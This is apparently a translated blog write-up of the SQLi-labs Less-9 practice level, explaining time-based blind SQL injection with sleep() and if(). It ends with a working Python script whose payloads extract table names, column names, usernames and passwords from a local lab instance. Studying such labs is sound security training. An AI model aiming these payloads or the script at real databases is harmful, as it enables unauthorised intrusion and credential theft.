当前位置:网站首页>sqlilabs less9
sqlilabs less9
2022-07-01 14:06:00 【It's always late at night.】
The Ninth level prompt is blind injection based on time , First, let's look at the necessary functions
sleep(time) Only in MySQL 5 Later available . wait for time So many seconds
benchmark(count,expr) repeat expr count Time , For testing MySql The speed at which expressions are executed .
if(condition,when_ture,when_false) If meet condition, Just Execute or print when_ture, Otherwise, execute or print when_false
Satisfy condition
dissatisfaction condition
First, judge the injection type 


It was used 1’、1"、1 No response , Why didn't you react , I guess it may be because the server will only send You are in… This is a data , So we need some methods to find out whether it is correct , So there is blind time , Judge whether it is correct by observing the waiting time .
Guess it may be so
if ((select * from tables where id = value) There are content )
print You are in.....
else
print You are in.....
OK, let's practice
You can see that there is no waiting time 
Waited five seconds , What does it say , Description is character injection 
First, judge the number of columns 
After judging the number of columns, you can start the next step
The length of the database name found is 8
Find the database name 
Table name not found 
The attribute name and tuple value are the same
However, manual time blind injection is too troublesome , You can consider burp suite, Or handwritten script .
import requests
def zr(url,zrname):
array1 = "abcdefghijklmnopqrstuvwxyz_-.,"
proof = "0000ff"
tmp = zrname
zrname = ''
for i in range(1,100):
url1 = url + str(i) + ',1)=\''
for s in array1:
url2 = url1 + s + '\',sleep(0.1),1)%23'
r = requests.get(url2)
if proof in r.text:
zrname += s
print( tmp + ": " + zrname)
zr('http://localhost/sqlilabs/Less-9/?id=1\' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),','tablename')
zr('http://localhost/sqlilabs/Less-9/?id=1\' and if(substr((select group_concat(column_name) from information_schema.columns where table_name = \'users\'),','columnslist')
zr('http://localhost/sqlilabs/Less-9/?id=1\' and if(substr((select group_concat(username) from users),','usernamelist')
zr('http://localhost/sqlilabs/Less-9/?id=1\' and if(substr((select group_concat(password) from users),','passwordlist')

ah , Why is the judgment condition 0000ff ah
I noticed the right sql It has this 
There is no wrong 
To sum up
If you encounter some situations , There is only one result on the page that cannot be judged correctly or the injection type , You can use time blind injection to judge the right by waiting time .
边栏推荐
- Using CMD to repair and recover virus infected files
- Texstudio tutorial
- [sword finger offer] 55 - I. depth of binary tree
- 使用CMD修复和恢复病毒感染文件
- Distributed dynamic (collaborative) rendering / function runtime based on computing power driven, data and function collaboration
- SWT/ANR问题--如何捕获性能的trace
- El form item regular verification
- 奔涌而来的数字化浪潮,将怎样颠覆未来?
- 使用net core 6 c# 的 NPOI 包,读取excel..xlsx单元格内的图片,并存储到指定服务器
- Admire, Ali female program undercover more than 500 black production groups
猜你喜欢

奔涌而来的数字化浪潮,将怎样颠覆未来?

2022上半年英特尔有哪些“硬核创新”?看这张图就知道了!

开源者的自我修养|为 ShardingSphere 贡献了千万行代码的程序员,后来当了 CEO

leetcode622. Design cycle queue (C language)

进入前六!博云在中国云管理软件市场销量排行持续上升

Liu Dui (fire line safety) - risk discovery in cloudy environment

How will the surging tide of digitalization overturn the future?

既不是研发顶尖高手,也不是销售大牛,为何偏偏获得 2 万 RMB 的首个涛思文化奖?
![[241. Design priority for operation expression]](/img/72/29d27204d5213a8efdb2c5be925dec.png)
[241. Design priority for operation expression]

"National defense seven sons" funding soared, with Tsinghua reaching 36.2 billion yuan, ranking second with 10.1 billion yuan. The 2022 budget of national colleges and universities was made public
随机推荐
SWT/ANR问题--如何捕获性能的trace
[flask] flask starts and implements a minimal application based on flask
[241. Design priority for operation expression]
MySQL日志
C语言课程设计题目
Etcd summary mechanism and usage scenarios
Halo effect - who says that those with light on their heads are heroes
Uni app realizes advertisement scroll bar
That hard-working student failed the college entrance examination... Don't panic! You have another chance to counter attack!
el-form-item 正则验证
【商业终端仿真解决方案】上海道宁为您带来Georgia介绍、试用、教程
[repair version] imitating the template of I love watching movies website / template of ocean CMS film and television system
Open source internship experience sharing: openeuler software package reinforcement test
Use of Oracle database objects
QT学习管理系统
About fossage 2.0 "meta force meta universe system development logic scheme (details)
开源者的自我修养|为 ShardingSphere 贡献了千万行代码的程序员,后来当了 CEO
C语言基础知识
SWT / anr problem - how to open binder trace (bindertraces) when sending anr / SWT
SWT/ANR问题--当发送ANR/SWT时候如何打开binder trace(BinderTraces)



